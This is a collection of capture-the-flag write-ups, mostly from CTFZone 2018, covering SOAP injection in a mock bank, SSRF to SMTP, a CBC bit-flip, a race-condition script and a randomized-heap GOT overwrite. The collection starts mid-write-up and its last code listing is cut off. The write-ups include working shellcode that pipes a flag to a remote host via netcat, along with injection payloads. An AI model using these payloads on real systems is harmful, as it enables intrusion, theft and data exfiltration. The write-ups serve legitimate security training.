When unicorn is started, all value in regs is 0, but in realworld it's not. We can find ecx is 0x100 when our payload starts, so we can make some weird code to change (0x0) to (0x1) ,which is sys_exit, and at the same time, it can change (0x100) to (0x11), which is sys_execve. ```pythonfrom pwn import *from base64 import b64encodecontext(log_level='info', arch='i386') ip = '<my_vps_ip>'# ip='127.0.0.1'output_port = 11002 cmd = 'cat flag | nc {} {}'.format(ip, output_port)op = ''op += '\n'.join([ 'mov eax, ecx', # ecx is 0x100 in realworld, 0x0 in unicorn simulator 'sar eax, 5', 'mov ebx, ecx', 'sar ebx, 7', 'add eax, ebx', 'add eax, 1'])op += shellcraft.pushstr('/bin/bash')op += 'mov ebx, esp\n'op += shellcraft.pushstr_array('ecx', ['/bin/bash', '-c', cmd])op += '\n'.join([ 'xor edx, edx', 'int 0x80',])print(op)send_content = b64encode(asm(op))print(send_content)```
CTFZone Quals 2018 - Piggy-Bank-------------------------**Category:** Web **Points:** 500 (Dynamic scoring) ##### Description:```Hack some bank for me.http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/```##### Useful Resources:+ https://resources.infosecinstitute.com/soap-attack-2/+ https://riseandhack.blogspot.com/2015/02/xml-injection-soap-injection-notes.html First, visiting the site we can see that the website is some type of bank, also we see “Sign-In” and "Sign-Up" pages, so we can make an account and login. There are then 5 main pages: Profile, Menu, Transfer, VIP and For Developers:+ Profile - Lists your full name, bank ID and bank balance+ Menu - “Welcome to Piggy-Bank! Here you can store your coins and at any time break the piggy-bank and pull them out! Please do not break the laws and do not try to hack us, be a nice pig.”+ Transfer - Simple form to transfer money between bank accounts, asks for a BankID and amount+ VIP - This section is available only to privileged pigs with money in pockets. Transfer to the piggy-bank 1 000 000 coins and become important. + For Developers - Especially for pig-developers, we have the coolest api, which they will soon be able to use! - But in the source we can see the comment After going through the pages, we can assume we have to get 1,000,000 coins to become VIP by exploiting a bug in the site that most likely has something to do with the API. When visiting the API link (http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.wsdl.php) we're prompted with an XML file of the functions of the site.```<wsdl:definitions name="Bank" targetNamespace="urn:Bank" xmlns:tns="urn:Bank" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="BalanceRequest"> <part name="wallet_num" type="xsd:decimal"/> </message> <message name="BalanceResponse"> <part name="code" type="xsd:float"/> <part name="status" type="xsd:string"/> </message> <message name="internalTransferRequest"> <part name="receiver_wallet_num" type="xsd:decimal"/> <part name="sender_wallet_num" type="xsd:decimal"/> <part name="amount" type="xsd:float"/> <part name="token" type="xsd:string"/> </message> <message name="internalTransferResponse"> <part name="code" type="xsd:float"/> <part name="status" type="xsd:string"/> </message> <portType name="BankServicePort"> <operation name="requestBalance"> <input message="tns:BalanceRequest"/> <output message="tns:BalanceResponse"/> </operation> <operation name="internalTransfer"> <input message="tns:internalTransferRequest"/> <output message="tns:internalTransferResponse"/> </operation> </portType> <binding name="BankServiceBinding" type="tns:BankServicePort"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="requestBalance"> <soap:operation soapAction="urn:requestBalanceAction"/> <input> <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </input> <output> <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </output> </operation> <operation name="internalTransfer"> <soap:operation soapAction="urn:internalTransferAction"/> <input> <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </input> <output> <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> </output> </operation> </binding> <wsdl:service name="BankService"> <wsdl:port name="BankServicePort" binding="tns:BankServiceBinding"> <soap:address location="http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.php" /> </wsdl:port> </wsdl:service></wsdl:definitions>``` At first I noticed ``<part name="amount" type="xsd:float"/>`` was a float and assumed that the bank wasn't handling floats correctly (E.g. NaN and Infinite floats), but using NaN just resets ours and the recipient's bank balance and using an infinite just prompts us saying we have insufficient funds. So, I started learning about SOAP requests and common vulnerabilities, first I tried to get the ``requestBalance`` function working, after struggling for a while I finally got it working with the following request. ```POST /api/bankservice.php HTTP/1.1Host: web-05.v7frkwrfyhsjtbpfcppnu.ctfz.oneConnection: closeAccept-Encoding: gzip, deflateAccept: */*User-agent: parameth v1.0Content-Length: 267Content-Type: application/x-www-form-urlencoded <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <requestBalance> <wallet_num>1440</wallet_num> </requestBalance> </SOAP-ENV:Body></SOAP-ENV:Envelope>``` Response:```HTTP/1.1 200 OKDate: Sun, 22 Jul 2018 02:14:42 GMTServer: Apache/2.4.18 (Ubuntu)Cache-Control: no-store, no-cacheExpires: Sun, 22 Jul 2018 02:14:42 +0000Vary: Accept-EncodingContent-Length: 547Connection: closeContent-Type: text/xml; charset=utf-8 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:Bank" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:requestBalanceResponse>0<status xsi:type="xsd:string">0</status></ns1:requestBalanceResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>``` After this, I ran the request through Burp Intruder supplimenting the ``wallet_num`` to find wealthy accounts, I found several accounts that have over 1M+ in their accounts, so I assumed we had to steal from them somehow. So, I tried to get the ``internalTransfer`` function working, however we need a token which I couldn't find (I wasted a lot of time on this), eventually after some more googling I came across some blog posts about SOAP Injection, it's essentially just injecting XML into the request, and because we already know the fields required from the wdsl document it makes it a lot easier to craft. The flow of the application would be something like this:User submits a transfer request such as the following:```POST /home/transfer.php HTTP/1.1Host: web-05.v7frkwrfyhsjtbpfcppnu.ctfz.oneUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/home/transfer.phpContent-Type: application/x-www-form-urlencodedContent-Length: 25Cookie: PHPSESSID=90sftp3bs9qb0ri5cjb5bc7gq1DNT: 1Connection: closeUpgrade-Insecure-Requests: 1 receiver=1380&amount=1```The server that translates ``receiver=1380&amount=1`` into the SOAP format which would be something like the following``` <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <internalTransfer> <receiver_wallet_num>1380</receiver_wallet_num> <sender_wallet_num>YOUR BANK ID</sender_wallet_num> <token>YOUR TRANSFER TOKEN</token> <amount>1</amount> </internalTransfer> </SOAP-ENV:Body></SOAP-ENV:Envelope>```Then this request is sent to the service binding (http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.php) However, the server wasn't validating the inputs correctly and allowed us to send letters and “” allowing us to inject our own SOAP values. So the final request turned out to be:```POST /home/transfer.php HTTP/1.1Host: web-05.v7frkwrfyhsjtbpfcppnu.ctfz.oneUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/home/transfer.phpContent-Type: application/x-www-form-urlencodedContent-Length: 141Cookie: PHPSESSID=90sftp3bs9qb0ri5cjb5bc7gq1DNT: 1Connection: closeUpgrade-Insecure-Requests: 1 receiver=2517.1</receiver_wallet_num><amount>1000000</amount><sender_wallet_num>1337</sender_wallet_num><receiver_wallet_num>2517.1&amount=10```Which will then be transformed into:``` <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <internalTransfer> <receiver_wallet_num>2517.1</receiver_wallet_num> <amount>1000000</amount> <sender_wallet_num>1337</sender_wallet_num> <receiver_wallet_num>2517.1</receiver_wallet_num> <sender_wallet_num>1337</sender_wallet_num> <amount>10</amount> <token>YOUR TOKEN</token> </internalTransfer> </SOAP-ENV:Body></SOAP-ENV:Envelope>```And because the application is interpreting the first values, it allows us to steal other people's money by replacing the ``sender_wallet_num`` with their BankID. After abusing this to steal 1,000,000 coins, we can access the VIP page which contains the flag.``You are pig-Hacker! How you stole money?!?!! Flag: ctfzone{dcaa1f2047501ac0f4ae6f448082e63e}``
Flag: `ctfzone{2e71b73d355eac0ce5a90b53bf4c03b2}` ```from pwn import * s = remote('crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1337) s.sendafter('Login: ', 'A' * 7 + 'B' * 16 + 'C')s.sendafter('$ ', 'session --get') iv, ct = s.recvline().strip().split(':') # _ = unknown character# pt[0:16] = '_________AAAAAAA'# pt[16:32] = 'BBBBBBBBBBBBBBBB'# pt[32:48] = 'C_______regular\x01' mask = xor('regular\x01', 'root\x04\x04\x04\x04')ct = b64d(ct)ct = ct[:24] + xor(ct[24:32], mask) + ct[32:] s.sendafter('$ ', 'session --set {}:{}'.format(iv, b64e(ct)))s.sendafter('$ ', 'cat flag.txt') print s.recvline().strip()```
# ctfzone2018 Quals J'ai pu participer à ce challenge via le site [ctftime](https://ctftime.org/event/632). Après 36 heures de challenges, j'ai pu arriver à la 92ème place avec un score de 207 points. ![classement du challenge](classement-CTFZone.png "mon classement au challenge") Voici la solution de l'épreuve intitulé : Piggy-Bank ## Piggy-Bank Au début de ce challenge, l'on arrive sur l'interface web d'une banque. Il est possible de s'inscrire afin d'obtenir un compte avec une somme de départ de 100 crédits. ![Site de la banque](piggy_bank_site.png "Interface du site") Il est possible d'effectuer des transferts en connaissant l'id d'un autre membre : ![Page de transfert de crédits](transfer_piggy.png "Page de transfert de crédits") La page VIP attire notre attention car c'est la seule qui n'est pas accessible totalement. En effet, il nous est demandé d'avoir 1 000 000 de crédits pour y a accéder. ![Page VIP](vip_piggy.png "Accès VIP refusé") En regardant le site d'un peu plus près avec burp, l'on peux remarquer un fichier /api/bankserver.wsdl.php. ![Fichiers du site](website_burp_links.png) Ce fichier nous permet de trouver deux requêtes. Une permettant de voir le nombre de crédits d'un compte et l'autre permettant d'effectuer un transfert d'un compte vers un autre. ![Requête de transfert](request_wsdl_transfer.png "template de la requête de transfert") Le problème ici, est qu'il nous manque le token de vérification de la transaction. Et aucune page du site ou fonctionnalité ne semble pouvoir nous fournir cette information. On va donc essayer d'injecter le formulaire de transfert afin que le token soit généré automatiquement lors de l'envoi de cette requête côté serveur. Ainsi on pourra modifier l'addresse de la personne envoyant les crédits. En résumé il faut : 1. Utiliser la méthode permettant de vérifier le montant d'un compte afin de trouver un compte ayant le nombre de crédits requis.2. Injecter notre code XML dans le formulaire afin de voler les crédits. ![injection XML](hack_request_transfer.png "injection de XML dans la requête") On voit que le requête se déroule sans accros avec la phrase *Succesfull Transfer*Voyons voi notre nouveau montant de crédits : ![Nouveau montant de crédits](new_amount.png "Nouveau solde de crédits") ~~Ici , le montant ne correspond pas car j'ai effectué le challenge en deux requêtes~~ Nous pouvons donc maintenant avoir accès à la page VIP :![Page VIP](flag_piggy_bank.png "Page VIP contenant le flag") Nous pouvons y trouver le flag de cette épreuve.
By using `frida`/`xposed` to hook Java methods, to generate correct `crc32` of some `Android` ID for key used in decrypt raw resource data using `AES_decrypt`. The hints for correct string IDs are from md5 hashes in `.data` section. More in link below.
TRIGGER ALERT: some people may find many of the variable names and random strings used to be offensive. No harm was meant, but if you are easily triggered, please do not read further. By reading further you consent to reading possible trigger words. [writeup link because i want to see how many people read this](https://github.com/neptunia/plaidctf-writeups-2018/blob/master/idiot_action.md)
# [Google CTF:sftp] Randomized heap :D ## The challenge. This is the [chall](https://ctftime.org/task/6237) from [google ctf](https://capturetheflag.withgoogle.com) named `sftp`. The task was relatively easy (60 solves), but I managed to fail it for the first time, and only with some hints from [@kaanezder](https://twitter.com/kaanezder) I got a clear understanding. Thanks, man! >This file server has a sophisticated malloc implementation designed to thwart traditional heap exploitation techniques... >sftp.ctfcompetition.com 1337 [Attachment](https://expend20.github.io/assets/files/ctf/2018/google/sftp/sftp-1cae4cc41720386239e5c1e2c5ba0f24196637b25db6d3074c377b47f554a89d.zip) ## Let's try it. Actually, the description is already given us a very straight hint, but let's just play with the file. The first thing is to guess password. In IDA we can see, that password is checked by hash:``` __printf_chk(1LL, "%s@%s's password: ", off_208B88); if ( !(unsigned int)__isoc99_scanf("%15s", &v5) ) return 0LL; v3 = _IO_getc(stdin); LOWORD(v3) = v5; if ( !v5 ) return 0LL; v4 = 0x5417; do { v3 ^= v4; ++v0; v4 = 2 * v3; LOWORD(v3) = *v0; } while ( (_BYTE)v3 ); result = 1LL; if ( (_WORD)v4 != 0x8DFAu ) return 0LL; return result; ``` But the hash is only 2 bytes, so we can start brute force (if you do not find the origin password, there are huge chances to get collision): ```#!/usr/bin/env python from pwn import *from struct import * def hash(word): v4 = 0x5417 v3 = 0 for c in word: v3 = ord(c) ^ v4 v4 = (v3 * 2) & 0xffff if v4 == 0x8DFA: log.info("got it! %s [%s]", word, c) exit(1) log.info("%s %x", word, v4) for ps in open("../../../rockyou.txt", 'r').readlines(): #log.info("%s" % ps) hash(ps) ``` I've used `rockyou` dictionary, with only one exception: I check password after every character, not only after word. Ok, we found it, password = `Steve` (Corresponding entry in `rockyou` is `Steven`). Also, you can notice, that you can input any symbols (0..255) not only printable ones. Ok, now we got in, and we can explore bugs in binary. There are plenty of them. First I tried to create a lot of directories. Binary was crashing randomly after 100..10000 tries. Then I create a directory and make `cd` to it, in a loop, the crash happened much earlier. Then you can simply type `cd /` and got crash right after it. It was all different bugs, but briefly analyzing them, you can see, that all of them is not really useful. There are no leaks, there are no possibilities of RIP control (well, at least I couldn't find any :D). There is also sources file available as sftp:```Connected to sftp.google.ctf.sftp> lsflagsrcsftp> ls srcsftp.csftp> get src/sftp.c14910#include <stdbool.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>....```[sftp.c](https://expend20.github.io/assets/files/ctf/2018/google/sftp/sftp.c) Wow, we can analyze at sources level now. Sources are obviously no full, but they do match our binary file. ## Actual bug Let's remember task description, there was something about `alloc()`, right? Hm... binary is exporting some memory relative functions: ![](https://expend20.github.io/assets/files/ctf/2018/google/sftp/export.png) * malloc():```signed __int64 malloc(){ return rand() & 0x1FFFFFFF | 0x40000000LL;}``` * realloc():```__int64 __fastcall realloc(__int64 a1){ return a1;}``` * free():```void free(){ ;}``` Beautiful! If you would break in gdb at `rand()` you can confirm that all memory allocation is just a fiction, pointers are randomly picked up from mapped memory region, never free, and not changed at reallocation. ```Start End Perm Name0x40000000 0x60100000 rw-p mapped``` Now, the idea is to allocate memory, we will try to get overlapped chunks and make leaks from it. The size of mapped memory is not so small (>512MB). Btw, the binary is almost fully protected:```$ checksec sftp Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled``` ## Exploiting. Obviously, we need to allocate one (or small number) big chunk of memory and lots of small ones. The most suitable candidate for the big one is `put file` command, with maximum possible size:```#define file_max 65535``` For the small chunks, I'll use `put file` also, but only with 8 bytes (to match pointer size on x64 platform). The idea is working, we can get a typical leak of binary structures: ![](https://expend20.github.io/assets/files/ctf/2018/google/sftp/leak0.png) This must be the structure `entry` and `file_entry` right after it. ```struct entry { struct directory_entry* parent_directory; enum entry_type type; char name[name_max];}; struct file_entry { struct entry entry; size_t size; char* data;}; ``` Now we can overwrite data with `put` command on the big chunk, then read or write small chunk to get or set any memory of process that we want. Let's analyze the first pointer of the leaked structure. Actually, it points somewhere in `.bss` section. Since we put our files in root directory it must be the global variable `root`: ```directory_entry* root = NULL;``` Actually substructing 0x208be0 from this address we will get base of `sftp` image in memory. Now we can craft pointer to `.got.plt` section and read address to `libc`. Then we can overwrite pointer in `.got.plt` got get code execution. Briefly search of function candidates to overwrite, I saw that `strrchr()` is the perfect one, because it is called with the argument that we control. So we can simply write `mkdir sh` and `strrchr()` will be called with `sh` argument. We just need to change that pointer to get shell. Here is [my sploit](https://expend20.github.io/assets/files/ctf/2018/google/sftp/sftp-dbg.py) ;-)
1. run it on simduino ./obj-x86_64-pc-linux-gnu/simduino.elf -d ../../../ezpz_crkmee.hex 2. connect it to the USART minicom -s -D /tmp/simavr-uart0 3. launch gdb and let it exploit avr-gdb -x gdbinit press ctrl c -> flag gdbinit file```set pagination off target remote 0:1234 define hook-stopi rx/8i $pcend define inputset $pc=0x548p *0x200='h'p *0x201='4'p *0x202='v'p *0x203='3'p *0x204='n'p *0x205='0'p *0x206='M'p *0x207='0'p *0x208='u'p *0x209='t'p *0x20a='H'p *0x20b='&'p *0x20c='1'p *0x20d='m'p *0x20e='S'p *0x20f='t'p *0x210='s'p *0x211='C'p *0x212='r'p *0x213='3'p *0x214='4'p *0x215='m'p *0x216='A'p *0x217='B'p *0x218='C'p *0x219='D'p *0x21a='E'p *0x21b='F'p *0x21c='G'p *0x21d='H'p *0x21e='I'p *0x21f='J'end def xxp $pc=$pc+2siend def xx2p $pc=$pc+4siend def xx6b4p $pc=0x6b4siend b *(void (*)())(0x5a0)b *(void (*)())(0x5b6)b *(void (*)())(0x678)b *(void (*)())(0x6a8) set $pc=0cinputcxxcxxcxx2xx6b4c```
this subject should be illegal, why you hide the flag in 1st column, oh my god :( https://github.com/Margular/ctf-solutions/blob/master/CTFZone%202018%20Quals/Image%20Share%20Box.md
# MMORPG3000```Here is a new generation mmorpg game, where you can beat your friends, just finished crowdfunding campaign and available on your PC starting today. It's a bit buggy, but you know...I heard that developers of this game are really greedy. http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/game/battle/competitors/``` Linke gittik, üye olduktan sonra karşımıza böyle bir sayfa çıktı. ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/1.png) Bedava kuponumuzu almak üzere __donate__ sayfasına gittik. ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/2.png) Kuponumuzu girdik ve karşımıza böyle bir resim çıktı ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/3.png) Resimin __URL__'si şu şekildeydi; ``` http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/storage/img/coupon_aa2a77371374094fe9e0bc1de3f94ed9.png``` __coupon_aa2a77371374094fe9e0bc1de3f94ed9__ kısmındaki hash kısmı userid'in hash hali olduğunu fark ettik. Başka sayı hashleyip denedik. __1682__'in __MD5__'ini aldık ve denedik __6a81681a7af700c6385d36577ebec359__ ```http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/storage/img/coupon_6a81681a7af700c6385d36577ebec359.png``` ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/4.png) __b92ee610-4289__ çıktı ve kuponu denedik 1 balance verdi. bir kaç kupoon daha denedik ve 1349 cuponumuz oldu. Para ile level atlattik fakat level 30'un üstüne para ile geçilmediğini öğrendik. Belki __Race Condition__ vardır diye çok thread ile aynı isteği başka bir hesapla denedik ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/5.png) ```pythonimport requestsimport threading threadArray = [] class expClass(threading.Thread): burp0_url = "http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one:80/donate/lvlup" burp0_cookies = {"session": "eyJ1aWQiOjgyOX0.DjeKvA.qA-vNIHjDFSPyuDwArZyGMQD984"} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-GB,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/info", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"} def __init__(self, numMain): super(expClass, self).__init__() def ham(self): requests.get(self.burp0_url, headers=self.burp0_headers, cookies=self.burp0_cookies) def run(self): self.ham() thr = 900 for i in range(0, thr ): threadcan = expClass(i) threadArray.append(threadcan) for i in range(0, thr): threadArray[i].start() print G + "thread girdi => " + str(i)for i in range(0, thr): threadArray[i].join() print R + "thread cikti => " + str(i)``` Ve 30'uncu leveli geçtik ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/6.png) 30'uncu leveli geçtiğimizden dolayı __Avatar__ ekleme özelliği açıldı. ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/7.png) Upload olayında birşey yoktu. __SSRF__'tir diye düşündük. __127.0.0.1__ ve __localhost__ engelliydi bu yüzden __SSRF__ olduğuna emin olduk. __0.0.0.0__ adresini denedik ve yediğini fark ettik. Port taramaya başladık. ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/8.png) __25__'ci port yani __SMTP__ portu açıktı. __Host__'u manipüle ederek __SMTP__'yi kullanmayı denedik. ```smtpHost: [0.0.0.0helo 1v3mmail from:<[email protected]>rcpt to:<root>datasubject: give me flag 1v3m.]:25``` Yeni satır ayıracı __SMTP__'de delimiter olduğu için her satırın sonuna yeni satırın __URL Encoded__ hali olan __%0A__'yı ekledik ve son payloadımızın son hali ```url[0.0.0.0%0ahelo 1v3m%0amail from:<[email protected]>%0arcpt to:<root>%0adata%0asubject: give me flag%0a%0a1v3m%0a.%0a]:25``` __Request__'imizin son hali şöyle oldu: ```httpPOST /user/avatar HTTP/1.1Host: web-03.v7frkwrfyhsjtbpfcppnu.ctfz.oneUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/avatarContent-Type: multipart/form-data; boundary=---------------------------4693211868403427471435307016Content-Length: 581Cookie: session=eyJ1aWQiOjgyN30.DjaSgA.ylhJXkstamQ7GahYWvUypKpvDQcDNT: 1Connection: closeUpgrade-Insecure-Requests: 1 -----------------------------4693211868403427471435307016Content-Disposition: form-data; name="avatar"; filename=""Content-Type: application/octet-stream -----------------------------4693211868403427471435307016Content-Disposition: form-data; name="url" https://[0.0.0.0%0ahelo 1v3m%0amail from:<[email protected]>%0arcpt to:<root>%0adata%0asubject: give me flag%0a%0a1v3m%0a.%0a]:25-----------------------------4693211868403427471435307016Content-Disposition: form-data; name="action" save-----------------------------4693211868403427471435307016-- ``` Flag mailimize geldi ![](https://cybersaxostiger.github.io/2018/07/23/MMORPG3000-CTFZone-2018/9.png) ve flag ```ctfzone{1640392aaf27597150c97e04a99a6f08}```
Hidden Dispute (20 solves)--- SKETCHY challenge! > So, @inf073chk4, our dispute is still on! I've promised to hack all your hidden services and, believe me, I'll do it! Finding the handle on Twitter: ![](twitter1.png) This Russian appears to be very interested in password dumps. Further down the page are two suspicious links: ![](twitter2.png) The first site gives some clear leads about what to research next (but note that the onion site referred to in the title was inactive): ![](blog.png) The second is a scummy looking hidden service accessed through a HTTP(!) Tor gateway: ![](onion.png) Both sites provide a free leak of Amazon credentials, a kind of freebie ~~hacker-mercenaries~~script-kiddies offer to prove they're "legit". The hidden service has an haveibeenpwned-style creds search engine, except that it actually shows the passwords. And the list seems rather comprehensive. Lastly, the source code contains a Neuromancer quote about the consensual hallucination of cyberspace. The challenge wins top marks for style. Our next step was to search for the hacker in his own credentials dump. Sure enough, a password for his mail.ru account appeared. It worked as an SFTP login on the first website. However after poking around a bit, we found that SFTP was completely locked down. Trying SSH next, we were immediately logged-out—however, not before some stderr flashed up, "could not change directory to /sftp/s00zaran". The challenge was drip-feeding us clues. After heading down the wrong track a few times, we returned back to nmap scans kicked off in the background, and discovered that the hidden service mentioned by the first website, which did not appear to be up, actually had an open port 22. We used a locally-compiled version of proxychains4 as the SOCKS proxy for these scans, as other software (proxychains3, torify) didn't play nice with nmap. Trying 's00zaran' as the SSH login for the hidden service, along with the password from the leak, gave the flag. A lesson about credentials reuse, especially for aspiring script-kiddies. But surely [real cybercriminals aren't that stupid?](https://www.bleepingcomputer.com/news/security/crooks-reused-passwords-on-the-dark-web-so-dutch-police-hijacked-their-accounts/)
> Hello!> The Martians need your help. They are in contact with the H5N1 virus.> We know that there is a universal vaccine (locus HW306977) on our planet. Find the substances on their planet that can be used to synthesize the vaccine. A large sample database is at your disposal.> mars_dna_samples.zip.> Your task is to select the right combination of samples (recipe). Result is the shortest (lowest count of samples used to synthesize the vaccine). If you find more than one shortest recipe - select the one, which has the longest code in each sample from start to end.> > Example:> Code: 123456> Samples (id,code):> > 1,4> 2,6> 3,12> 4,34> 5,56> 6,45> 7,123> > Available combinations> > 12-34-56> 123-45-6> 123-4-56> > Solving: 123 + 45 + 6> Result: 7,6,2> > Flag is ctfzone{md5(Result)} ## Solution in shortFind the vaccine sequence online, store the samples in a Trie structure and use DP (Memoization) to find the solution (a fast algorithm is required in this problem). ## Finding the vaccine sequenceThis is the OSINT part. There is a patent about this: [link](https://patents.google.com/patent/US9555093B2/en) with a downloadable pdf and a link with the content as [normal text](http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&Sect2=HITOFF&p=1&u=/netahtml/PTO/search-bool.html&r=1&f=G&l=50&d=PALL&RefSrch=yes&Query=PN/9555093). Use the pdf to get a well formatted version and the other page to extract the string (this was a bit annoying to filter this long messed up string..) . The sequences are at the end. Sequence 3 is the required one (1707 characters). ## Trie structureIn short: We have a tree where each node has exactly for children (one for each base ATGC in a dna sequence). Each string can be seen as a path from the root downwards using the i'th character in the string to choose the appropriate child at level i. The node where a string ends is annotated, in our case with the id of the string (sample). The trie is constructed by inserting all samples one by one (for each sample, descend the tree according to the string starting at the root, extend the tree if necessary and annotate the final node). For a detailed description about Tries, use your OSINT skills. E.g., [Wikipedia](https://en.wikipedia.org/wiki/Trie) ## Finding the (best) solution*We call the expected solution simply 'the best solution' . All other 'solutions' are valid combinations to form the sequence but need more samples or have shorter samples in the beginning -> they are 'worse'* Let's say we want to build the string s = s1 s2 s3 ... sn. Every possibility to build the string s is a combination of a prefix p = s1 s2 ... si and a suffix q = si+1 si+2 ... sn, where p is a sample and q is a string that can be built by using at least 0 samples (q can be empty, exactly one sample or a combination of samples). Assume that we already know the best solution to build a specific q, the best solution to build s for a given q is simply by using p first followed the solution for q. We get the best solution for s for trying all i's (splitting position, therefore responsible for p and q) that are valid (p is a sample and q can be built). Save this solution for later. To find all valid i's we descend our previously built tree starting at the root with the character s1. Whenever we hit an annotated node, the path so far is p and the level is i. After completing the computation for s, extend s by one character to the left s' = s0 s1 s2 s3 ... sn and do the same again. By applying the algorithm for increasing suffixes of the complete string, we ensure to always have the best solution for q already computed earlier. ## ResultThe computation takes less than a second to find the solution```10532,111808,9066,64465,34874,89064,137,4547,25145,10824,122193,6169,10895,40896,187356,4721,1732,46101,39262,103437,8324,9661,61254,17561,17562,635,183688,24275,24285,172470,54159,90283,812,145888,26216,67897,24483,60020,8749,7176,7233,225944 ``` ## Complexity* Constructing the trie is done in O(Length of all samples concatenated)* For a single string s, iterate over all splitting positions i: O(Length of s) = O(Length of final string)* For all suffixes (and therefore to get the result): O(number of suffixes * O(Length of suffix)) = O(n^2) where n is the length of the final string (1707) ## The code(for completeness the whole code. The real stuff is done in the short solve2() method)```#include <bits/stdc++.h> using namespace std;using ll = long long;using vl = vector<ll>;#define mp make_pair#define pb push_back #define FOR(i,a,b) for(int i = (a); i < (b); i++) vector<pair<string,int>> v; int counter = 1; vector<vector<int>> sols; vector<int> current; map<char, int> m = { {'T', 0}, {'G', 1}, {'A', 2}, {'C', 3}}; struct Node { vector<Node*> n; Node() : n(4) {} int id = -1;}; Node * head = new Node(); // Insert s into the trievoid insert(string s, int id) { Node * h = head; int i = 0; while (i < s.size()) { int idx = m[s[i]]; if (h->n[idx] == nullptr) { h->n[idx] = new Node(); } h = h->n[idx]; i++; } h->id = id;} vector<vector<int>> besten; void solve2(string rem) { Node * h = head; int i = 0; // descend the trie while (h != nullptr && i < rem.size()) { int idx = m[rem[i]]; h = h->n[idx]; i++; if (h != nullptr && h->id != -1) { // annotated node int ol = besten[rem.size() - i].size(); if (ol +1 <= besten[rem.size()].size()) { // same length should implicitly be better because longer substring in first element besten[rem.size()] = besten[rem.size() - i]; besten[rem.size()].pb(h->id); } } }}int main() { string target; cin >> target; // final string wanted // the best solution found so far for all lengths of suffixes. // currently really really bad (100000 samples 'needed') besten.resize(target.size() + 1, vector<int>(100000)); ifstream seq; // this file has one line per sample: string <TAB> id // (this is for historical reasons ...) seq.open("samples"); string s; int id; while (seq >> s >> id) { insert(s, id); // insert sample with id } // an empty string is easy besten[0] = vector<int>(0); // now go over all suffixes for (int i = target.size() - 1; i>= 0; i--) { solve2(target.substr(i)); } bool first = true; for (int i = besten[target.size()].size() - 1; 